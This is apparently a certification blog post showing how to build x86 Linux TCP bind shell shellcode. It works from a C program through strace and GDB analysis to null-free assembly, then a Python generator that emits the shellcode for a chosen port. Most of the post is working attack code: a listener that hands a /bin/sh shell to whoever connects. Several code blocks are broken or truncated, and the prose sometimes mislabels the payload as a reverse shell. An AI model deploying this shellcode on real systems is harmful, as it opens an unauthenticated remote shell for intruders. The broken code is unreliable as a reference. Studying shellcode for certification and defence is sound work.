SLAE32: Creating TCP Bind Shellcode

The blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:
Student ID: SLAE-990

Assignment #1


  • Explain the process of how to create TCP Bind Shell shellcode
  • The shellcode should:
    • Binds to a local port
    • Execs shell on incoming connection
    • The Port number should be easily configurable


To accomplish this I’m going to split this into four phases:

  1. Understand the system calls made by creating and analyzing a C program written by reading the linux programmers documentation that would behave the same way.
  2. Debug the C program to figure out how parameters are being passed around in memory or through registers to make it work.
  3. Writing assembly that can be used as shellcode that does the same thing (meaning it must at least not have any null bytes while still being functional).
  4. Write a wrapper python script that lets you specify a port and it will emmit the full shellcode ready for use.

Phase 1: Writing a TCP bind shell in C

To analize what is happening at a system call level we will need to refer to the Linux developer man pages to understand how we should go about setting up a socket and binding it to a port on the local system (bind shell). The easiest way to go about this is to attempt to write a bare minimum C program that accomplishes this task by referring to the man2 pages for each step.

The beginning of any socket programming is establishing a socket so I started by looking up the man page of this system call. Based on reading through the man pages I was able to piece together what calls would need to be made in order to establish a listening connection on a specific port.

The prototypes of the functions that we will want to call are in the following order below (with the man page link referenced):

/* */
int socket(int domain, int type, int protocol);
/* */
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
/* */
int listen(int sockfd, int backlog);
/* */
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
/* */
int dup2(int oldfd, int newfd);
/* */
int execve(const char *filename, char *const argv[], char *const envp[]);
/* */
int close(int fd);

I wrote the following C program that creates this bind shell and compiled and ran it to confirm it functions properly.

#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define NULL 0

int socket(int domain, int type, int protocol);
int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
int listen(int sockfd, int backlog);
int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen);
int dup2(int oldfd, int newfd);
int close(int fd);
int execve(const char *filename, char *const argv[], char *const envp[]);

int main() {
    int port = 6789;

    /* this creates a new socket but it has no address assigned to it yet */
    int sockfd = socket(AF_INET /* 2 */, SOCK_STREAM /* 1 */, 0);

    /* create sockaddr structure for use with bind function */
    struct sockaddr_in hostaddr;
    hostaddr.sin_family = AF_INET;
    hostaddr.sin_port = htons(port);
    hostaddr.sin_addr.s_addr = htonl(INADDR_ANY);
    /* bind socket to ip/port */
    bind(sockfd, (struct sockaddr*)&hostaddr, sizeof(struct sockaddr_in));

    /* listen for connections */
    listen(sockfd, 1);

    /* accept connection */
    int clientfd = accept(sockfd, NULL, NULL);

    /* duplicate file descriptors for STDIN/STDOUT/STDERR */
    for (int n = 0; n <= 2; ++n) {
        dup2(clientfd, n);

    /* execute /bin/sh */
    execve("/bin/sh", NULL, NULL);


    return 0;

Building and running bind shell C program

Showing port 9999 now listening

Connecting to bind shell

Phase 2: Understanding how parameters are passed around using strace and GDB

The idea of debugging this was to set a breakpoint at each system call and analyze the registers and stack to see what is needed at the point of the call. With this information we can then come up with our own way to get the same values setup properly in a shellcode safe manner.

We can get a quick view of the calls with strace as seen here (this is useful and is helpful when looking at the assembly dump in GDB). In most cases, you can see the value of each parameter that was used to the function calls which would be either on the stack or in one of the registers. In the case of a parameter value that is enclosed in curly braces {} this is likely a pointer to a struct that resides on the stack.

[sengen@manjaro-x86 assignment1]$ strace -e socket,bind,listen,accept,dup2,execve ./bind_shell_c
execve("./bind_shell_c", ["./bind_shell_c"], 0xbfc4b6a8 /* 54 vars */) = 0
bind(3, {sa_family=AF_INET, sin_port=htons(6789), sin_addr=inet_addr("")}, 16) = 0
listen(3, 1)                            = 0
accept(3, NULL, NULL)                   = 4
dup2(4, 0)                              = 0
dup2(4, 1)                              = 1
dup2(4, 2)                              = 2
execve("/bin/sh", NULL, NULL)           = 0
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=25697, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=25698, si_uid=1000, si_status=0, si_utime=0, si_stime=0} ---
+++ exited with 0 +++

The following is the dump of the main function. I put breakpoints before each function call I was interested in and printed the relevant register or stack information for use when I write my shellcode.

gdb$ break main
Breakpoint 1 at 0x6fc
gdb$ run
Breakpoint 1, 0x004006fc in main ()
gdb$ disassemble main
Dump of assembler code for function main:
   0x004006ed <+0>:	lea    ecx,[esp+0x4]
   0x004006f1 <+4>:	and    esp,0xfffffff0
   0x004006f4 <+7>:	push   DWORD PTR [ecx-0x4]
   0x004006f7 <+10>:	push   ebp
   0x004006f8 <+11>:	mov    ebp,esp
   0x004006fa <+13>:	push   ebx
   0x004006fb <+14>:	push   ecx
=> 0x004006fc <+15>:	sub    esp,0x30
   0x004006ff <+18>:	call   0x4005f0 <__x86.get_pc_thunk.bx>
   0x00400704 <+23>:	add    ebx,0x18fc
   0x0040070a <+29>:	mov    eax,gs:0x14
   0x00400710 <+35>:	mov    DWORD PTR [ebp-0xc],eax
   0x00400713 <+38>:	xor    eax,eax
   0x00400715 <+40>:	mov    DWORD PTR [ebp-0x28],0x1a85
   0x0040071c <+47>:	sub    esp,0x4
   ; socket --------------------------------------------------------------------------
   0x0040071f <+50>:	push   0x0
   0x00400721 <+52>:	push   0x1
   0x00400723 <+54>:	push   0x2
   0x00400725 <+56>:	call   0x400580 <socket@plt>
   ; gdb$ x/3w $esp
   ; 0xbffff020:	0x00000002	0x00000001	0x00000000
   ; parameters:
   ; 0x00000002 = AF_INET
   ; 0x00000001 = SOCK_STREAM
   ; 0x00000000 = IPPROTO_IP
   ; ---------------------------------------------------------------------------------
   ; bind ----------------------------------------------------------------------------
   0x0040072a <+61>:	add    esp,0x10
   0x0040072d <+64>:	mov    DWORD PTR [ebp-0x24],eax
   0x00400730 <+67>:	mov    WORD PTR [ebp-0x1c],0x2
   0x00400736 <+73>:	mov    eax,DWORD PTR [ebp-0x28]
   0x00400739 <+76>:	movzx  eax,ax
   0x0040073c <+79>:	sub    esp,0xc
   0x0040073f <+82>:	push   eax
   0x00400740 <+83>:	call   0x400510 <htons@plt>
   0x00400745 <+88>:	add    esp,0x10
   0x00400748 <+91>:	mov    WORD PTR [ebp-0x1a],ax
   0x0040074c <+95>:	sub    esp,0xc
   0x0040074f <+98>:	push   0x0
   0x00400751 <+100>:	call   0x400560 <htonl@plt>
   0x00400756 <+105>:	add    esp,0x10
   0x00400759 <+108>:	mov    DWORD PTR [ebp-0x18],eax
   0x0040075c <+111>:	sub    esp,0x4
   0x0040075f <+114>:	push   0x10
   0x00400761 <+116>:	lea    eax,[ebp-0x1c]
   0x00400764 <+119>:	push   eax
   0x00400765 <+120>:	push   DWORD PTR [ebp-0x24]
   0x00400768 <+123>:	call   0x400550 <bind@plt>
   ; gdb$ x/3w $esp
   ; 0xbffff020:	0x00000003	0xbffff04c	0x00000010

   ; parameters:
   ; 0x00000003 = sockfd
   ; 0xbffff04c = pointer to sockaddr_in struct on stack
   ; 0x00000010 = length of sockaddr_in

   ; sockaddr_in struct on stack
   ; gdb$ x/8b 0xbffff04c
   ; 0xbffff04c:	0x02	0x00	0x1a	0x85	0x00	0x00	0x00	0x00

   ; parameters:
   ; 0x02 = AF_INET
   ; 0x1a85 = Port number (6789) *reverse byte order*
   ; 0x00000000 = 0x0
   ; ---------------------------------------------------------------------------------
   ; listen --------------------------------------------------------------------------
   0x0040076d <+128>:	add    esp,0x10
   0x00400770 <+131>:	sub    esp,0x8
   0x00400773 <+134>:	push   0x1
   0x00400775 <+136>:	push   DWORD PTR [ebp-0x24]
   0x00400778 <+139>:	call   0x400570 <listen@plt>
   ; gdb$ x/2w $esp
   ; 0xbffff020:	0x00000003	0x00000001
   ; parameters:
   ; 0x00000003 = sockfd
   ; 0x00000001 = backlog
   ; ---------------------------------------------------------------------------------

   ; accept --------------------------------------------------------------------------
   0x0040077d <+144>:	add    esp,0x10
   0x00400780 <+147>:	sub    esp,0x4
   0x00400783 <+150>:	push   0x0
   0x00400785 <+152>:	push   0x0
   0x00400787 <+154>:	push   DWORD PTR [ebp-0x24]
   0x0040078a <+157>:	call   0x400520 <accept@plt>
   ; gdb$ x/3w $esp
   ; 0xbffff020:	0x00000003	0x00000000	0x00000000
   ; parameters:
   ; 0x00000003 = sockfd
   ; 0x00000000 = sockaddr (NULL) ; dont need client struct
   ; 0x00000000 = addrlen (NULL)  ; dont need client struct
   ; ---------------------------------------------------------------------------------

   ; dup2 ----------------------------------------------------------------------------
   0x0040078f <+162>:	add    esp,0x10
   0x00400792 <+165>:	mov    DWORD PTR [ebp-0x20],eax
   0x00400795 <+168>:	mov    DWORD PTR [ebp-0x2c],0x0
   0x0040079c <+175>:	jmp    0x4007b3 <main+198>
   0x0040079e <+177>:	sub    esp,0x8
   0x004007a1 <+180>:	push   DWORD PTR [ebp-0x2c]
   0x004007a4 <+183>:	push   DWORD PTR [ebp-0x20]
   0x004007a7 <+186>:	call   0x400500 <dup2@plt>
   ; gdb$ x/2w $esp
   ; 0xbffff020:	0x00000004	0x00000000
   ; gdb$ x/2w $esp
   ; 0xbffff020:	0x00000004	0x00000001
   ; gdb$ x/2w $esp
   ; 0xbffff020:	0x00000004	0x00000002

   ; parameters:
   ; 0x00000004 = oldfd
   ; 0x0000000[0-2] = newfd
   ; ---------------------------------------------------------------------------------

   ; excecve -------------------------------------------------------------------------
   0x004007ac <+191>:	add    esp,0x10
   0x004007af <+194>:	add    DWORD PTR [ebp-0x2c],0x1
   0x004007b3 <+198>:	cmp    DWORD PTR [ebp-0x2c],0x2
   0x004007b7 <+202>:	jle    0x40079e <main+177>
   0x004007b9 <+204>:	sub    esp,0x4
   0x004007bc <+207>:	push   0x0
   0x004007be <+209>:	push   0x0
   0x004007c0 <+211>:	lea    eax,[ebx-0x175c]
   0x004007c6 <+217>:	push   eax
   0x004007c7 <+218>:	call   0x400540 <execve@plt>
   ; gdb$ x/a $esp
   ; 0xbffff020:	0x4008a4 => "/bin/sh"
   ; gdb$ x/2c $esp+4
   ; 0xbffff024:	0x0 0x0
   ; parameters:
   ; 0x4008a4 = pointer to filename on stack
   ; 0x0 = argv[]
   ; 0x0 = anvp[]
   ; ---------------------------------------------------------------------------------
   0x004007cc <+223>:	add    esp,0x10
   0x004007cf <+226>:	sub    esp,0xc
   0x004007d2 <+229>:	push   DWORD PTR [ebp-0x24]
   0x004007d5 <+232>:	call   0x400590 <close@plt>
   ; Closes sockfd which tears down the socket
   ; ---------------------------------------------------------------------------------
   0x004007da <+237>:	add    esp,0x10
   0x004007dd <+240>:	mov    eax,0x0
   0x004007e2 <+245>:	mov    edx,DWORD PTR [ebp-0xc]
   0x004007e5 <+248>:	xor    edx,DWORD PTR gs:0x14
   0x004007ec <+255>:	je     0x4007f3 <main+262>
   0x004007ee <+257>:	call   0x400870 <__stack_chk_fail_local>
   0x004007f3 <+262>:	lea    esp,[ebp-0x8]
   0x004007f6 <+265>:	pop    ecx
   0x004007f7 <+266>:	pop    ebx
   0x004007f8 <+267>:	pop    ebp
   0x004007f9 <+268>:	lea    esp,[ecx-0x4]
   0x004007fc <+271>:	ret    
End of assembler dump.

NOTE: For the socket calls there are two approaches; using socketcall with sub-functions, or separate system calls for each (socket, accept, bind, etc). The former is less portable but may allow for cleaner shellcode due to the reuse of the socketcall value.

In this assembly dump it is calling out to the memory address of the function and putting it’s parameters to the function on the stack. In our shellcode we’ll use socketcall with parameters in the registers. Either would work, however.

Phase 3: Writing shellcode that creates a TCP bind shell

Now that we have an understanding of what is happening at an assembly level behind the scenes we will convert it into usable shellcode. Things to keep in mind here is that we cannot have any null bytes, size matters, and that the port number should be configurable.


We start by establishing a socket using socketcall. This will return to us a sockfd identifier that we will need to save for use in future calls.

xor eax, eax        ; zero out eax
mov ebx, eax        ; zero out ebx
push eax            ; push 0 to stack (protocol: 0 (nonblocking))
mov al, 0x66        ; socketcall
mov bl, 1           ; sys_socket
push ebx            ; push 1 to stack (type: SOCK_STREAM)
push 2              ; domain: AF_INET
mov ecx, esp        ; save pointer to stack
int 0x80


This is where we bind the socket previously created to the local interface prior to start listening for connections.

mov edi,eax         ; save sockfd
mov al,0x66         ; socketcall
pop ebx             ; sys_bind - grab 2 from stack
pop ebx             ; take 1 off stack
inc ebx

push word 0x851a    ; port 6789 (reverse byte order)    ; sockaddr struct
push word 2         ; AF_INET                           ; sockaddr struct
mov ecx,esp         ; save pointer to struct in ecx     ; sockaddr struct

push 0x10           ; struct length
push ecx            ; push pointer to struct
push edi            ; push sockfd
mov ecx,esp         ; save stack pointer
int 0x80


At this point we start listening for connections on our specified port. The backlog parameter defines the allowed queue length of pending connections to our sockfd. For this example I just set it to 1 but it could be more if multiple connections are wanted.

mov al, 0x66        ; socketcall
mov bl, 4           ; sys_listen
push 1              ; parameter: backlog
push edi            ; parameter: sockfd
mov ecx,esp         ; save pointer to stack to ecx
int 0x80


When a client connects to this port we call the accept system call which will give us a new sockfd for the client. In this case we only care about the identifier but you can also collect more information and save it into a sockaddr struct but this would be useless for us so I set this to NULL.

mov al,0x66         ; socketcall
inc bl              ; sys_accept
push edx            ; clientfd (NULL - dont need this)
push edx            ; sizeof(clientfd) (NULL - dont need this)
push edi            ; sockfd
mov ecx,esp         ; save pointer to stack to ecx
int 0x80


The dup2 function will duplicate the STDOUT/STDIN/STDERR file descriptors onto the sockfd. This will allow all output to be seen on the sockfd from the connect so the receiver of the reverse shell can see all output.

xor ecx,ecx         ; zero out ecx
mov ebx,eax         ; save clientfd
mov al, 0x3f        ; dup2
int 0x80            
mov al,0x3f         ; dup2
inc ecx             ; increment ecx until we hit 2
cmp ecx, 2          ; test if we're at 2
jle dup2_loop       ; if not, keep calling dup2


Finally, we actually exec /bin/sh to complete the reverse shell. At this point the target of the reverse shell should be able to enter commands and see responses.

mov al,0xb          ; execve
xor edx,edx         ; zero out edx
push edx            ; push edx to stack to terminate string
push 0x68732f6e     ; n/sh
push 0x69622f2f     ; //bi
mov ebx, esp        ; save pointer to stack to ecx
mov ecx, edx        ; argv[]
;mov edx, edx       ; envp[]
int 0x80

Dealing with null bytes

Most of these are simple to remove as they are due to referencing the full 32bit register where we can simply reference the 8 bit register.

For moving values into registers:
mov eax,0x66 should be converted to mov al,0x66
mov ebx,0x1 should be converted to mov bl,0x1

For the pushing of 0x0 we need to use a different approach. We can either find a null byte already on the stack or we can use a zero’ed out register and push that to the stack (often requiring us to explicitly zero it out first).

push 0x0
can change into:
xor edx,edx ; zero out edx
push edx ; push edx to stack to terminate string

You can use objdump to quicly identify null bytes in the assembly. I have marked where I initially had to deal with null bytes.

; initial shellcode
[sengen@manjaro-x86 assignment1]$ objdump -d ./bind_shell_asm2 -M intel

./bind_shell_asm2:     file format elf32-i386

Disassembly of section .text:

08048060 <_start>:
 8048060:	31 c0                	xor    eax,eax
 8048062:	89 c3                	mov    ebx,eax
 8048064:	50                   	push   eax
 8048065:	b8 66 00 00 00       	mov    eax,0x66 ; <==
 804806a:	bb 01 00 00 00       	mov    ebx,0x1  ; <==
 804806f:	53                   	push   ebx
 8048070:	6a 02                	push   0x2
 8048072:	89 e1                	mov    ecx,esp
 8048074:	cd 80                	int    0x80
 8048076:	89 c7                	mov    edi,eax
 8048078:	b8 66 00 00 00       	mov    eax,0x66 ; <==
 804807d:	bb 02 00 00 00       	mov    ebx,0x2  ; <==
 8048082:	6a 00                	push   0x0      ; <==
 8048084:	66 68 1a 85          	pushw  0x851a
 8048088:	66 6a 02             	pushw  0x2
 804808b:	89 e1                	mov    ecx,esp
 804808d:	6a 10                	push   0x10
 804808f:	51                   	push   ecx
 8048090:	57                   	push   edi
 8048091:	89 e1                	mov    ecx,esp
 8048093:	cd 80                	int    0x80
 8048095:	b8 66 00 00 00       	mov    eax,0x66 ; <==
 804809a:	bb 04 00 00 00       	mov    ebx,0x4  ; <==
 804809f:	6a 01                	push   0x1
 80480a1:	57                   	push   edi
 80480a2:	89 e1                	mov    ecx,esp
 80480a4:	cd 80                	int    0x80
 80480a6:	b8 66 00 00 00       	mov    eax,0x66 ; <==
 80480ab:	bb 05 00 00 00       	mov    ebx,0x5  ; <==
 80480b0:	6a 00                	push   0x0      ; <==
 80480b2:	6a 00                	push   0x0      ; <==
 80480b4:	57                   	push   edi
 80480b5:	89 e1                	mov    ecx,esp
 80480b7:	cd 80                	int    0x80
 80480b9:	31 c9                	xor    ecx,ecx
 80480bb:	89 c3                	mov    ebx,eax
 80480bd:	b8 3f 00 00 00       	mov    eax,0x3f ; <==

080480c2 <dup2_loop>:
 80480c2:	cd 80                	int    0x80
 80480c4:	b8 3f 00 00 00       	mov    eax,0x3f ; <==
 80480c9:	41                   	inc    ecx
 80480ca:	83 f9 02             	cmp    ecx,0x2
 80480cd:	7e f3                	jle    80480c2 <dup2_loop> ; <==
 80480cf:	b8 0b 00 00 00       	mov    eax,0xb  ; <==
 80480d4:	6a 00                	push   0x0      ; <==
 80480d6:	68 6e 2f 73 68       	push   0x68732f6e
 80480db:	68 2f 2f 62 69       	push   0x69622f2f
 80480e0:	89 e3                	mov    ebx,esp
 80480e2:	b9 00 00 00 00       	mov    ecx,0x0  ; <==
 80480e7:	ba 00 00 00 00       	mov    edx,0x0  ; <==
 80480ec:	cd 80                	int    0x80

Notes on reversing “//bin/sh” string

[sengen@manjaro-x86 assignment1]$ python
Python 3.6.2 (default, Jul 20 2017, 15:08:48) 
[GCC 7.1.1 20170630] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import binascii
>>> code=b'//bin/sh'
>>> binascii.hexlify(code[::-1])

Then you can push it to the stack in 4 byte segments

push 0x68732f6e
push 0x69622f2f

Source Code
You can grab the source code for both the C and assembly programs from the following location:

We can extract the bytes with objdump

[sengen@manjaro-x86 assignment1]$ objdump -d ./bind_shell_asm|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

Add it to a test C program

#include <stdio.h>
#include <string.h>

unsigned char code[] = \

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;


Start bindshell

Connect to it with netcat

Phase 4: Write a wrapper python script

Finally, to make it a little bit more configurable I wrote a python script that would allow you to specify a port for the shellcode. The emmitted shellcode from the script will be properly updated for the port specified.

# !/usr/bin/python
from optparse import OptionParser

def convert_to_hex(port):
    val = hex(port)[2::]
    if not len(val) % 2 == 0:
        val = "0" + val
    return ''.join('\\x' + val[i:i + 2] for i in range(0, len(val), 2))

parser = OptionParser()
parser.description = "Generates TCP Bind Shell shellcode."
parser.add_option("-p", "--port", dest="port", help="Port to bind to", type=int)

(options, args) = parser.parse_args()
if not options.port:

if options.port < 1 or options.port > 65535:
    print("Invalid port number.")

shellcode = (
        "\\x80\\x89\\xc7\\xb0\\x66\\x5b\\x5b\\x43\\x66\\x68" + convert_to_hex(options.port) +


Example usage

[sengen@manjaro-x86 assignment1]$ python -h
Usage: [options]

Generates TCP Bind Shell shellcode.

  -h, --help            show this help message and exit
  -p PORT, --port=PORT  Port to bind to
[sengen@manjaro-x86 assignment1]$ python -p 4480
comments powered by Disqus